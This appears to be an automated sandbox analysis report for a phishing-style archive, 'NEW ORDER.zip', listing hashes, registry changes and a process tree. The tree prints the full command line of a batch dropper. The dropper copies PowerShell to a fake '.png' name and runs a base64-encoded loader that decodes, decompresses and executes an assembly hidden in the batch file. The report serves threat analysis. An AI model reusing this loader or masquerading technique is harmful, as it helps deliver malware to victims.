862a1531be831680c2d17fb1a87f21d954b7acf60ffffb75e9adc5c2c73efa65

Resubmissions

30/10/2023, 20:33

231030-zb7plsfa8v 1

30/10/2023, 20:19

231030-y33pasfa3z 7

Analysis

max time kernel
411s
max time network
417s
platform
windows10-2004_x64
resource
win10v2004-20231023-en
resource tags

arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
submitted
30/10/2023, 20:19

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

NEW ORDER.zip
Size

2.9MB
MD5

6514cbd8b1a715e3845874d127cc73a0
SHA1

7e1ba2fe61373db88aa3837d750f161f9598440d
SHA256

862a1531be831680c2d17fb1a87f21d954b7acf60ffffb75e9adc5c2c73efa65
SHA512

cc5953af809447762c509024bee2f7e13e94733e19a6de4a75745cbb7c8866e4b12e0cfb455b9c1830432f14888578fd314616e3c980e0b76ac79dc0fae46e74
SSDEEP

49152:8VDeoIkypyJWpixpQ54aMyH+3nhR3Fmb5R8xRdKSu2PxxNmtNl/SDXhR115jDGPo:8VD9IqGixpvD3fkb5R8x/KSPPpED67fT

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
4048	Ypesoxstvb.png

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 53 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\5 = 3a001f44471a0359723fa74489c55595fe6b30ee260001002600efbe10000000e18799afc005da01a33269a4c805da010d5617e36e0bda0114000000	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\LogicalViewMode = "1"	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\5\MRUListEx = ffffffff	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\FFlags = "1"	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\5\NodeSlot = "10"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\ComDlg	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\Mode = "1"	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\Shell\SniffedFolderType = "Documents"	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202020202020202	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\FFlags = "1"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\FFlags = "1092616257"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupView = "0"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\GroupByKey:PID = "0"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\GroupByDirection = "1"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByDirection = "1"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0\0	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0\0\1	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0\0\1\0\0	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a000000a000000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\IconSize = "16"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\GroupView = "0"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\Mode = "4"	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000004000000030000000200000000000000ffffffff	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0\0\1\0	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\LogicalViewMode = "3"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 010000000500000004000000030000000200000000000000ffffffff	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByKey:PID = "0"	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 050000000100000004000000030000000200000000000000ffffffff	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02020202020202020202	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\FFlags = "1092616257"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\IconSize = "48"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\5	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\Shell	msedge.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
4048	Ypesoxstvb.png
4048	Ypesoxstvb.png
2748	msedge.exe
2748	msedge.exe
948	msedge.exe
948	msedge.exe
2084	identity_helper.exe
2084	identity_helper.exe
3612	msedge.exe
3612	msedge.exe
5320	msedge.exe
5320	msedge.exe
5320	msedge.exe
5320	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeRestorePrivilege	1576	7zG.exe
Token: 35	1576	7zG.exe
Token: SeSecurityPrivilege	1576	7zG.exe
Token: SeSecurityPrivilege	1576	7zG.exe
Token: SeDebugPrivilege	4048	Ypesoxstvb.png

Suspicious use of FindShellTrayWindow 29 IoCs

pid	Process
1576	7zG.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
3612	msedge.exe
3612	msedge.exe
2748	msedge.exe

Suspicious use of SendNotifyMessage 26 IoCs

pid	Process
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
2748	msedge.exe
3612	msedge.exe
3612	msedge.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3612	msedge.exe
3612	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1344 wrote to memory of 2456	1344	cmd.exe	107
PID 1344 wrote to memory of 2456	1344	cmd.exe	107
PID 1344 wrote to memory of 1956	1344	cmd.exe	108
PID 1344 wrote to memory of 1956	1344	cmd.exe	108
PID 1344 wrote to memory of 1768	1344	cmd.exe	110
PID 1344 wrote to memory of 1768	1344	cmd.exe	110
PID 1768 wrote to memory of 1268	1768	cmd.exe	112
PID 1768 wrote to memory of 1268	1768	cmd.exe	112
PID 1768 wrote to memory of 1944	1768	cmd.exe	111
PID 1768 wrote to memory of 1944	1768	cmd.exe	111
PID 1768 wrote to memory of 2644	1768	cmd.exe	113
PID 1768 wrote to memory of 2644	1768	cmd.exe	113
PID 1768 wrote to memory of 4172	1768	cmd.exe	114
PID 1768 wrote to memory of 4172	1768	cmd.exe	114
PID 1768 wrote to memory of 4048	1768	cmd.exe	115
PID 1768 wrote to memory of 4048	1768	cmd.exe	115
PID 2748 wrote to memory of 4388	2748	msedge.exe	124
PID 2748 wrote to memory of 4388	2748	msedge.exe	124
PID 2748 wrote to memory of 2704	2748	msedge.exe	126
PID 2748 wrote to memory of 2704	2748	msedge.exe	126
PID 2748 wrote to memory of 2704	2748	msedge.exe	126
PID 2748 wrote to memory of 2704	2748	msedge.exe	126
PID 2748 wrote to memory of 2704	2748	msedge.exe	126
PID 2748 wrote to memory of 2704	2748	msedge.exe	126
PID 2748 wrote to memory of 2704	2748	msedge.exe	126
PID 2748 wrote to memory of 2704	2748	msedge.exe	126
PID 2748 wrote to memory of 2704	2748	msedge.exe	126
PID 2748 wrote to memory of 2704	2748	msedge.exe	126
PID 2748 wrote to memory of 2704	2748	msedge.exe	126
PID 2748 wrote to memory of 2704	2748	msedge.exe	126
PID 2748 wrote to memory of 2704	2748	msedge.exe	126
PID 2748 wrote to memory of 2704	2748	msedge.exe	126
PID 2748 wrote to memory of 2704	2748	msedge.exe	126
PID 2748 wrote to memory of 2704	2748	msedge.exe	126
PID 2748 wrote to memory of 2704	2748	msedge.exe	126
PID 2748 wrote to memory of 2704	2748	msedge.exe	126
PID 2748 wrote to memory of 2704	2748	msedge.exe	126
PID 2748 wrote to memory of 2704	2748	msedge.exe	126
PID 2748 wrote to memory of 2704	2748	msedge.exe	126
PID 2748 wrote to memory of 2704	2748	msedge.exe	126
PID 2748 wrote to memory of 2704	2748	msedge.exe	126
PID 2748 wrote to memory of 2704	2748	msedge.exe	126
PID 2748 wrote to memory of 2704	2748	msedge.exe	126
PID 2748 wrote to memory of 2704	2748	msedge.exe	126
PID 2748 wrote to memory of 2704	2748	msedge.exe	126
PID 2748 wrote to memory of 2704	2748	msedge.exe	126
PID 2748 wrote to memory of 2704	2748	msedge.exe	126
PID 2748 wrote to memory of 2704	2748	msedge.exe	126
PID 2748 wrote to memory of 2704	2748	msedge.exe	126
PID 2748 wrote to memory of 2704	2748	msedge.exe	126
PID 2748 wrote to memory of 2704	2748	msedge.exe	126
PID 2748 wrote to memory of 2704	2748	msedge.exe	126
PID 2748 wrote to memory of 2704	2748	msedge.exe	126
PID 2748 wrote to memory of 2704	2748	msedge.exe	126
PID 2748 wrote to memory of 2704	2748	msedge.exe	126
PID 2748 wrote to memory of 2704	2748	msedge.exe	126
PID 2748 wrote to memory of 2704	2748	msedge.exe	126
PID 2748 wrote to memory of 2704	2748	msedge.exe	126
PID 2748 wrote to memory of 948	2748	msedge.exe	125
PID 2748 wrote to memory of 948	2748	msedge.exe	125
PID 2748 wrote to memory of 1116	2748	msedge.exe	127
PID 2748 wrote to memory of 1116	2748	msedge.exe	127
PID 2748 wrote to memory of 1116	2748	msedge.exe	127
PID 2748 wrote to memory of 1116	2748	msedge.exe	127

C:\Windows\Explorer.exe
C:\Windows\Explorer.exe /idlist,,"C:\Users\Admin\AppData\Local\Temp\NEW ORDER.zip"
1⤵
PID:1116

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3856

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\AppData\Local\Temp\NEW ORDER\" -spe -an -ai#7zMap31236:98:7zEvent17699
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1576

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\NEW ORDER\Cooperate Order.bat" "
1⤵
- Suspicious use of WriteProcessMemory
PID:1344
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo F "
  2⤵
  PID:2456
- C:\Windows\system32\xcopy.exe
  xcopy /d /q /y /h /i C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Ypesoxstvb.png
  2⤵
  PID:1956
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\NEW ORDER\Cooperate Order.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1768
- - C:\Windows\system32\xcopy.exe
    xcopy /d /q /y /h /i C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Ypesoxstvb.png
    3⤵
    PID:1944
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo F "
    3⤵
    PID:1268
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo F "
    3⤵
    PID:2644
- - C:\Windows\system32\xcopy.exe
    xcopy /d /q /y /h /i "C:\Users\Admin\AppData\Local\Temp\NEW ORDER\Cooperate Order.bat" C:\Users\Admin\AppData\Local\Temp\Ypesoxstvb.png.bat
    3⤵
    PID:4172
- - C:\Users\Admin\AppData\Local\Temp\Ypesoxstvb.png
    C:\Users\Admin\AppData\Local\Temp\Ypesoxstvb.png -win 1 -enc JABKAGQAbwBxAGEAbQB0AGkAIAA9ACAAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAKAAoAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlACkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACIALgBiAGEAdAAiACkALAAgAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4ACkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0AbABhAHMAdAAgADEAOwAgACQAUgB1AGMAZwByAHgAdgBrAGYAdwBxACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEoAZABvAHEAYQBtAHQAaQApADsAJABKAGIAawByAHMAZgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAoACAALAAgACQAUgB1AGMAZwByAHgAdgBrAGYAdwBxACAAKQA7ACQAbwB1AHQAcAB1AHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AOwAkAFIAYwBjAHUAawBtAHcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQASgBiAGsAcgBzAGYALAAgACgAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAOwAkAFIAYwBjAHUAawBtAHcALgBDAG8AcAB5AFQAbwAoACAAJABvAHUAdABwAHUAdAAgACkAOwAkAFIAYwBjAHUAawBtAHcALgBDAGwAbwBzAGUAKAApADsAJABKAGIAawByAHMAZgAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAFIAdQBjAGcAcgB4AHYAawBmAHcAcQAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABSAHUAYwBnAHIAeAB2AGsAZgB3AHEAKQA7ACAAJABPAGMAbwBjAHMAYgByACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAFIAdQBjAGcAcgB4AHYAawBmAHcAcQApADsAIAAkAEIAZgBzAGcAcwBmAHYAIAA9ACAAJABPAGMAbwBjAHMAYgByAC4ARwBlAHQARQB4AHAAbwByAHQAZQBkAFQAeQBwAGUAcwAoACkAWwAwAF0AOwAgACQARAB4AHIAcQBiAGYAbQBpACAAPQAgACQAQgBmAHMAZwBzAGYAdgAuAEcAZQB0AE0AZQB0AGgAbwBkAHMAKAApAFsAMABdAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4048

C:\Windows\system32\notepad.exe
"C:\Windows\system32\notepad.exe"
1⤵
PID:2292

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\NEW ORDER\Cooperate ORDER 1.html
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2748
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff9a6bd46f8,0x7ff9a6bd4708,0x7ff9a6bd4718
  2⤵
  PID:4388
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2104,11334962708997458454,9363138242141970551,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:948
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2104,11334962708997458454,9363138242141970551,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2120 /prefetch:2
  2⤵
  PID:2704
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2104,11334962708997458454,9363138242141970551,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2932 /prefetch:8
  2⤵
  PID:1116
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,11334962708997458454,9363138242141970551,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3280 /prefetch:1
  2⤵
  PID:3648
